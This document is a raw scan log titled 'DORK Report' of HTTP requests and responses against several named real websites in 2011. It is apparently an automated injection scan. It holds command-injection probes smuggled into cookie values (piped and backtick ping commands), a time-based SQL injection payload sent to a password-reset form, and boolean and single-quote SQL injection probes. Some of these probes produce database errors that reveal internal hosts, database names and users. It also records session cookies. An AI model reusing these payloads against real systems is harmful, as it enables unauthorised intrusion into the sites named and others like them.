DORK Report, XSS, SQL Injection, HTTP Header Injection, Vulnerable Hosts, Weak Config

GET / HTTP/1.1
Host: secure.trust-guard.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=147269874.1303748966.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=j3kca4chjn64leo452bv3ml9a4; __utma=147269874.1166530582.1303748966.1303758698.1304747384.3; __utmc=147269874; __utmb=147269874.1.10.1304747384|ping%20-n%2020%20127.0.0.1||x

HTTP/1.1 200 OK
Date: Sat, 07 May 2011 01:03:29 GMT
Server: Apache/2.2.3 (CentOS)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID ADMa OPTa OUR NOR"
Content-Length: 5008
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>

<script type="text/ja
...[SNIP]...

GET / HTTP/1.1
Host: secure.trust-guard.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=147269874.1303748966.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=j3kca4chjn64leo452bv3ml9a4; __utma=147269874.1166530582.1303748966.1303758698.1304747384.3; __utmc=147269874|ping%20-n%2020%20127.0.0.1||x; __utmb=147269874.1.10.1304747384

HTTP/1.1 200 OK
Date: Sat, 07 May 2011 00:56:06 GMT
Server: Apache/2.2.3 (CentOS)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID ADMa OPTa OUR NOR"
Content-Length: 5008
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>

<script type="text/ja
...[SNIP]...

POST /ResetPassword.php HTTP/1.1
Host: secure.trust-guard.com
Connection: keep-alive
Referer: https://secure.trust-guard.com/ResetPassword.php
Cache-Control: max-age=0
Origin: https://secure.trust-guard.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=147269874.1303748966.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=147269874.1166530582.1303748966.1303748966.1303758698.2; PHPSESSID=j3kca4chjn64leo452bv3ml9a4
Content-Length: 66

txtEmail=-111%27+OR+SLEEP%2825%29%3D0+LIMIT+1--++|ping%20-n%2020%20127.0.0.1||x&btnSubmit=Submit

HTTP/1.1 302 Found
Date: Sat, 07 May 2011 01:20:55 GMT
Server: Apache/2.2.3 (CentOS)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Status: 200
Location: index.php
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID ADMa OPTa OUR NOR"
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

GET /index.php HTTP/1.1
Host: secure.trust-guard.com
Connection: keep-alive
Referer: https://secure.trust-guard.com/ResetPassword.php
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=147269874.1303748966.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=j3kca4chjn64leo452bv3ml9a4; __utma=147269874.1166530582.1303748966.1303758698.1304747384.3`ping%20-c%2020%20127.0.0.1`; __utmc=147269874; __utmb=147269874.1.10.1304747384

HTTP/1.1 200 OK
Date: Sat, 07 May 2011 01:30:13 GMT
Server: Apache/2.2.3 (CentOS)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID ADMa OPTa OUR NOR"
Content-Length: 5008
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>

<script type="text/ja
...[SNIP]...

GET /index.php HTTP/1.1
Host: secure.trust-guard.com
Connection: keep-alive
Referer: https://secure.trust-guard.com/ResetPassword.php
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=147269874.1303748966.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)|ping%20-n%2020%20127.0.0.1||x; PHPSESSID=j3kca4chjn64leo452bv3ml9a4; __utma=147269874.1166530582.1303748966.1303758698.1304747384.3; __utmc=147269874; __utmb=147269874.1.10.1304747384

HTTP/1.1 200 OK
Date: Sat, 07 May 2011 01:12:23 GMT
Server: Apache/2.2.3 (CentOS)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID ADMa OPTa OUR NOR"
Content-Length: 5008
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>

<script type="text/ja
...[SNIP]...

GET /aboutus/uniGC.aspx?xpST=AboutUs HTTP/1.1
Host: www.hunton.com
Proxy-Connection: keep-alive
Referer: http://www.hunton.com/news/uniGC.aspx?xpST=PENSearch
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=fwzgqujjzcm2lrafhxcipc55; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1038&RootPortletID=617&RootPortletH4AssetID=301&LicenseKey= &Name=Web Framework&URL=fcw; BIGipServerH1-HUNTON-A0910-80=1092146954.20480.0000|ping%20-c%2020%20127.0.0.1||x; __utmz=267908375.1304742363.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); sessionKey=8be6cff3-b698-403d-b33f-091ebc4e1304; __utma=267908375.1939147739.1304742363.1304742363.1304742363.1; __utmc=267908375; __utmb=267908375.3.10.1304742363; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; SERVER_PORT=80; Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; DefaultCulture=en-US; Mode=1; EventingStatus=1; NavId=0; PortletId=0; SiteId=0; ZoneId=0

HTTP/1.1 200 OK
Date: Sat, 07 May 2011 00:17:29 GMT
Server: Microsoft-IIS/6.0
x-geoloc: 05
x-client: 000040
x-apptype: 01
x-prodtype: 01
x-public: 1
x-redirect: 0
x-occurrence: 01
x-server: EG-H1WS-A09
X-UA-Compatible: IE=EmulateIE7
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: Language=7483b893-e478-44a4-8fed-f49aa917d8cf; path=/
Set-Cookie: DefaultCulture=en-US; path=/
Set-Cookie: Mode=1; path=/
Set-Cookie: EventingStatus=1; path=/
Set-Cookie: NavId=1844; path=/
Set-Cookie: PortletId=5981402; path=/
Set-Cookie: SiteId=1837; path=/
Set-Cookie: SERVER_PORT=80; path=/
Set-Cookie: Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; expires=Fri, 31-Dec-9999 23:59:59 GMT; path=/; HttpOnly
Set-Cookie: ZoneId=7; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 48748

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >

<head>
<tit
...[SNIP]...

GET /www/delivery/spc.php?zones=zone_22_1%3D5%7Czone_22_2%3D5%7Czone_22_3%3D5%7Czone_22_4%3D5%7Czone_22_5%3D5%7Czone_22_6%3D5%7Czone_22_7%3D5%7Czone_22_8%3D5%7Czone_2%3D2%7Czone_5%3D4%7Czone_21%3D3%7Czone_1%3D1%7C&nz=1&source=&r=55470886&block=1&charset=UTF-8&loc=http%3A//allatsea.net/by-category/Sailing_Reg/1%20and%201%3d1--%20atta HTTP/1.1
Host: ads.allatsea.net
Proxy-Connection: keep-alive
Referer: http://allatsea.net/by-category/Sailing_Regatta
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=168508913.1304734000.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=168508913.126629396.1304734000.1304734000.1304734000.1; __utmc=168508913; __utmb=168508913.1.10.1304734000; __qca=P0-1797107816-1304734004419; OAID=a9e7a0f4da4672bb2cdfb39a4d109071

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 21:33:21 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny10 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-1+lenny10
Pragma: no-cache
Cache-Control: private, max-age=0, no-cache
Expires: Mon, 26 Jul 1997 05:00:00 GMT
P3P: CP="CUR ADM OUR NOR STA NID"
Set-Cookie: OAID=a9e7a0f4da4672bb2cdfb39a4d109071; expires=Sat, 05-May-2012 21:33:21 GMT; path=/
Content-Size: 6150
Content-Length: 6150
Content-Type: application/x-javascript; charset=UTF-8

var OA_output = new Array();
OA_output['zone_22_1'] = '';
OA_output['zone_22_1'] += "<"+"a href=\'http://ads.allatsea.net/www/delivery/ck.php?oaparams=2__bannerid=5__zoneid=5__cb=f67466d6e0__oadest=http%3A%2F%2Fwww.igymarinas.com\' target=\'_blank\'><"+"img src=\'http://ads.allatsea.net/www/images/e476945fd8f647e4fa8dc98870332858.gif\' width=\'125\' height=\'125\' alt=\'\' title=\'\' border=\'0\' /><"+"/a><"+"div id=\'beacon_f67466d6e0\' style=\'position: absolute; left: 0px; top: 0px; visibility: hidden;\'><"+"img src=\'http://ads.allatsea.net/www/delivery/lg.php?bannerid=5&campaignid=4&zoneid=5&loc=http%3A%2F%2Fallatsea.net%2Fby-category%2FSailing_Reg%2F1+and+1%3D1--+atta&cb=f67466d6e0\' width=\'0\' height=\'0\' alt=\'\' style=\'width: 0px; height: 0px;\' /><"+"/div>\n";
OA_output['zone_22_2'] = '';
OA_output['zone_22_2'] += "<"+"span><"+"script type=\'text/javascript\'><"+"!--// <"+"![CDATA[\n";
OA_output['zone_22_2'] += "/* openads=http://ads.allatsea.net/www/delivery bannerid=10 zoneid=5 source= */\n";
OA_output['zone_22_2'] += "// ]]> --><"+"/script><"+"script type=\"text/javascript\"><"+"!--\n";
OA_output['zone_22_2'] += "google_ad_client = \"ca-pub-9585000347357330\";\n";
OA_output['zone_22_2'] += "/* 125x125, created 3/14/10 */\n";
OA_output['zone_22_2'] += "google_ad_slot = \"8399079020\";\n";
OA_output['zone_22_2'] += "google_ad_width = 125;\n";
OA_output['zone_22_2'] += "google_ad_height = 125;\n";
OA_output['zone_22_2'] += "//-->\n";
OA_output['zone_22_2'] += "<"+"/script>\n";
OA_output['zone_22_2'] += "<"+"script type=\"text/javascript\"\n";
OA_output['zone_22_2'] += "src=\"http://pagead2.googlesyndication.com/pagead/show_ads.js\">\n";
OA_output['zone_22_2'] += "<"+"/script><"+"script type=\'text/javascript\' src=\'http://ads.allatsea.net/www/delivery/ag.php\'><"+"/script><"+"/span><"+"div id=\'beacon_f641e7f716\' style=\'position: absolute; left: 0px; top: 0px; visibility: hidden;\'><"+"img src=\'http://ads.allatsea.net/www/delivery/lg.php?bannerid=10&campaignid=3&zoneid=5&loc=1&referer=http%3A%2F%2Fallatse
...[SNIP]...

GET /www/delivery/spc.php?zones=zone_22_1%3D5%7Czone_22_2%3D5%7Czone_22_3%3D5%7Czone_22_4%3D5%7Czone_22_5%3D5%7Czone_22_6%3D5%7Czone_22_7%3D5%7Czone_22_8%3D5%7Czone_2%3D2%7Czone_5%3D4%7Czone_21%3D3%7Czone_1%3D1%7C&nz=1&source=&r=55470886&block=1&charset=UTF-8&loc=http%3A//allatsea.net/by-category/Sailing_Reg/1%20and%201%3d2--%20atta HTTP/1.1
Host: ads.allatsea.net
Proxy-Connection: keep-alive
Referer: http://allatsea.net/by-category/Sailing_Regatta
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=168508913.1304734000.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=168508913.126629396.1304734000.1304734000.1304734000.1; __utmc=168508913; __utmb=168508913.1.10.1304734000; __qca=P0-1797107816-1304734004419; OAID=a9e7a0f4da4672bb2cdfb39a4d109071

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 21:33:22 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny10 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-1+lenny10
Pragma: no-cache
Cache-Control: private, max-age=0, no-cache
Expires: Mon, 26 Jul 1997 05:00:00 GMT
P3P: CP="CUR ADM OUR NOR STA NID"
Set-Cookie: OAID=a9e7a0f4da4672bb2cdfb39a4d109071; expires=Sat, 05-May-2012 21:33:22 GMT; path=/
Content-Size: 6788
Content-Length: 6788
Content-Type: application/x-javascript; charset=UTF-8

var OA_output = new Array();
OA_output['zone_22_1'] = '';
OA_output['zone_22_1'] += "<"+"span><"+"script type=\'text/javascript\'><"+"!--// <"+"![CDATA[\n";
OA_output['zone_22_1'] += "/* openads=http://ads.allatsea.net/www/delivery bannerid=10 zoneid=5 source= */\n";
OA_output['zone_22_1'] += "// ]]> --><"+"/script><"+"script type=\"text/javascript\"><"+"!--\n";
OA_output['zone_22_1'] += "google_ad_client = \"ca-pub-9585000347357330\";\n";
OA_output['zone_22_1'] += "/* 125x125, created 3/14/10 */\n";
OA_output['zone_22_1'] += "google_ad_slot = \"8399079020\";\n";
OA_output['zone_22_1'] += "google_ad_width = 125;\n";
OA_output['zone_22_1'] += "google_ad_height = 125;\n";
OA_output['zone_22_1'] += "//-->\n";
OA_output['zone_22_1'] += "<"+"/script>\n";
OA_output['zone_22_1'] += "<"+"script type=\"text/javascript\"\n";
OA_output['zone_22_1'] += "src=\"http://pagead2.googlesyndication.com/pagead/show_ads.js\">\n";
OA_output['zone_22_1'] += "<"+"/script><"+"script type=\'text/javascript\' src=\'http://ads.allatsea.net/www/delivery/ag.php\'><"+"/script><"+"/span><"+"div id=\'beacon_4f7d84567b\' style=\'position: absolute; left: 0px; top: 0px; visibility: hidden;\'><"+"img src=\'http://ads.allatsea.net/www/delivery/lg.php?bannerid=10&campaignid=3&zoneid=5&loc=1&referer=http%3A%2F%2Fallatsea.net%2Fby-category%2FSailing_Reg%2F1+and+1%3D2--+atta&cb=4f7d84567b\' width=\'0\' height=\'0\' alt=\'\' style=\'width: 0px; height: 0px;\' /><"+"/div>\n";
OA_output['zone_22_2'] = '';
OA_output['zone_22_2'] += "<"+"a href=\'http://ads.allatsea.net/www/delivery/ck.php?oaparams=2__bannerid=5__zoneid=5__cb=4dd54d6c2a__oadest=http%3A%2F%2Fwww.igymarinas.com\' target=\'_blank\'><"+"img src=\'http://ads.allatsea.net/www/images/e476945fd8f647e4fa8dc98870332858.gif\' width=\'125\' height=\'125\' alt=\'\' title=\'\' border=\'0\' /><"+"/a><"+"div id=\'beacon_4dd54d6c2a\' style=\'position: absolute; left: 0px; top: 0px; visibility: hidden;\'><"+"img src=\'http://ads.allatsea.net/www/delivery/lg.php?bannerid=5&campaignid=4&zoneid=5&loc=http%3A%2F%2Fallatse
...[SNIP]...

GET /appshandler.php?ac=1'&pid=0&NS_sw=1920&NS_sh=1200&NS_sc=16 HTTP/1.1
Host: apps.sapha.com
Proxy-Connection: keep-alive
Referer: http://www.sapha.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: sapha_tst_2546=TRUE; sapha_2546_1=62715%7C35764%7C31540%7C2011-04-22+15%3A37%3A56; sapha_tst_1=TRUE; sapha_1_19=110075%7C2676569%7C2668748%7C2011-05-06+16%3A05%3A33

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 22:05:49 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html;charset=UTF-8
Content-Length: 385

</td></tr></table><b>Database error on host '192.168.50.20', db 'sapha_core', user 'www', object 'globalDB':</b> Invalid SQL: select SQL_CACHE * from site_options where site_ID = '1''<br>
<b>MySQL Err
...[SNIP]...
</b>: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1)<br>
...[SNIP]...

GET /adfeed.ashx'?s=143&format=json&callback=$.showAd.cacheAdCodes HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: cdn-forums.scout.com

HTTP/1.1 404 Not Found
Content-Length: 1635
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Server: MBRD25
Vary: Accept-Encoding
Date: Fri, 06 May 2011 19:58:06 GMT
Connection: close
Akamai: True

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>The page cannot be found</TITLE>
<META HTTP-EQUIV="Content-Type" Content="text/html; cha
...[SNIP]...
<h2>HTTP Error 404 - File or directory not found.<br>
...[SNIP]...

GET /adfeed.ashx''?s=143&format=json&callback=$.showAd.cacheAdCodes HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: cdn-forums.scout.com

HTTP/1.1 404 Not Found
Server: Microsoft-IIS/6.0
Server: Mbrd6
ETag:
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
X-Website-Assembly-Version: 2.21.0.0
Cache-Control: private
Content-Type: text/html
Content-Length: 12238
Vary: Accept-Encoding
Date: Fri, 06 May 2011 19:58:07 GMT
Connection: close
Akamai: True

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>Sc
...[SNIP]...

GET /AVE/go/173511812AD54EE6ABF0CBB5D825DA4F/direct/01?_kk=6713825b-9989-43cb-8a7b-5c5635138b40&_kt=6426467207&gclid=CMm21t3V1KgCFcPd4AodU3_CiA%2527 HTTP/1.1
Host: clk.atdmt.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: AA002=1303072666-9018543; MUID=B506C07761D7465D924574124E3C14DF; ach00=903d/120af:fb75/120af:e2ff/25d1:d2ca/12b1e:a6ff/1ca6a:e29b/1c5b3:11d81/27298:de5a/4e97; ach01=2a0cb15/120af/57ac7cf/903d/4db39163:b9e90a8/120af/f1fa4b0/fb75/4db416f0:c46edc2/25d1/128fabed/e2ff/4db8a484:cbb7115/12b1e/130edf9b/d2ca/4dbdeda3:7162b37/1ca6a/96559b2/a6ff/4dbeeff6:c6fbf53/1c5b3/1235eb22/e29b/4dbef4f2:ae669bf/27298/ffed956/11d81/4dbef65d:80cc648/4e97/af0b901/de5a/4dbf541a; ANON=A=09C89511BF100DC2E6BE1C66FFFFFFFF&E=b2c&W=1; NAP=V=1.9&E=ad2&C=4Z4hoC0UMdOLFTOoUFdt8MycOkKr26b778UQ7Rv4sDujYgzPjPTdfw&W=1

HTTP/1.1 503 Service Unavailable
Content-Type: text/html; charset=us-ascii
Server: Microsoft-HTTPAPI/2.0
Date: Sat, 07 May 2011 01:22:51 GMT
Connection: close
Content-Length: 326

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>Service Unavailable</TITLE>
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=u
...[SNIP]...
<p>HTTP Error 503. The service is unavailable.</p>
...[SNIP]...

GET /AVE/go/173511812AD54EE6ABF0CBB5D825DA4F/direct/01?_kk=6713825b-9989-43cb-8a7b-5c5635138b40&_kt=6426467207&gclid=CMm21t3V1KgCFcPd4AodU3_CiA%2527%2527 HTTP/1.1
Host: clk.atdmt.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: AA002=1303072666-9018543; MUID=B506C07761D7465D924574124E3C14DF; ach00=903d/120af:fb75/120af:e2ff/25d1:d2ca/12b1e:a6ff/1ca6a:e29b/1c5b3:11d81/27298:de5a/4e97; ach01=2a0cb15/120af/57ac7cf/903d/4db39163:b9e90a8/120af/f1fa4b0/fb75/4db416f0:c46edc2/25d1/128fabed/e2ff/4db8a484:cbb7115/12b1e/130edf9b/d2ca/4dbdeda3:7162b37/1ca6a/96559b2/a6ff/4dbeeff6:c6fbf53/1c5b3/1235eb22/e29b/4dbef4f2:ae669bf/27298/ffed956/11d81/4dbef65d:80cc648/4e97/af0b901/de5a/4dbf541a; ANON=A=09C89511BF100DC2E6BE1C66FFFFFFFF&E=b2c&W=1; NAP=V=1.9&E=ad2&C=4Z4hoC0UMdOLFTOoUFdt8MycOkKr26b778UQ7Rv4sDujYgzPjPTdfw&W=1

HTTP/1.1 302 Object moved
Cache-Control: no-store
Content-Length: 0
Expires: 0
Location: http://www.secureworks.com/compliance/comp/pci.html?_kk=6713825b-9989-43cb-8a7b-5c5635138b40&_kt=6426467207&gclid=CMm21t3V1KgCFcPd4AodU3_CiA%2527%2527
P3P: CP="NOI DSP COR CUR ADM DEV TAIo PSAo PSDo OUR BUS UNI PUR COM NAV INT DEM STA PRE OTC"
Set-Cookie: ach00=903d/120af:fb75/120af:e2ff/25d1:d2ca/12b1e:a6ff/1ca6a:e29b/1c5b3:11d81/27298:de5a/4e97:903d/294e3; expires=Monday, 06-May-2013 00:00:00 GMT; path=/; domain=.atdmt.com
Set-Cookie: ach01=2a0cb15/120af/57ac7cf/903d/4db39163:b9e90a8/120af/f1fa4b0/fb75/4db416f0:c46edc2/25d1/128fabed/e2ff/4db8a484:cbb7115/12b1e/130edf9b/d2ca/4dbdeda3:7162b37/1ca6a/96559b2/a6ff/4dbeeff6:c6fbf53/1c5b3/1235eb22/e29b/4dbef4f2:ae669bf/27298/ffed956/11d81/4dbef65d:80cc648/4e97/af0b901/de5a/4dbf541a:c4717d7/294e3/12504287/903d/4dc49eec; expires=Monday, 06-May-2013 00:00:00 GMT; path=/; domain=.atdmt.com
Date: Sat, 07 May 2011 01:22:52 GMT
Connection: close

GET /engine.php?ac=1' HTTP/1.1
Host: dce.sapha.com
Proxy-Connection: keep-alive
Referer: http://www.sapha.com/company/about-sapha
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: sapha_tst_2546=TRUE; sapha_tst_1=TRUE; sapha_1_19=110075%7C2676569%7C2668748%7C2011-05-06+16%3A05%3A33; sapha_2546_1=68004%7C40411%7C31540%7C2011-05-06+16%3A06%3A08

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 22:06:44 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 385

</td></tr></table><b>Database error on host '192.168.50.20', db 'sapha_core', user 'www', object 'globalDB':</b> Invalid SQL: select SQL_CACHE * from site_options where site_ID = '1''<br>
<b>MySQL Err
...[SNIP]...
</b>: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1)<br>
...[SNIP]...

GET /engine.php?ac=1'' HTTP/1.1
Host: dce.sapha.com
Proxy-Connection: keep-alive
Referer: http://www.sapha.com/company/about-sapha
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: sapha_tst_2546=TRUE; sapha_tst_1=TRUE; sapha_1_19=110075%7C2676569%7C2668748%7C2011-05-06+16%3A05%3A33; sapha_2546_1=68004%7C40411%7C31540%7C2011-05-06+16%3A06%3A08

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 22:06:44 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Cache-Control: private
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Set-Cookie: sapha_tst_1''=TRUE; expires=Mon, 03-May-2021 22:06:44 GMT; path=/; domain=.sapha.com
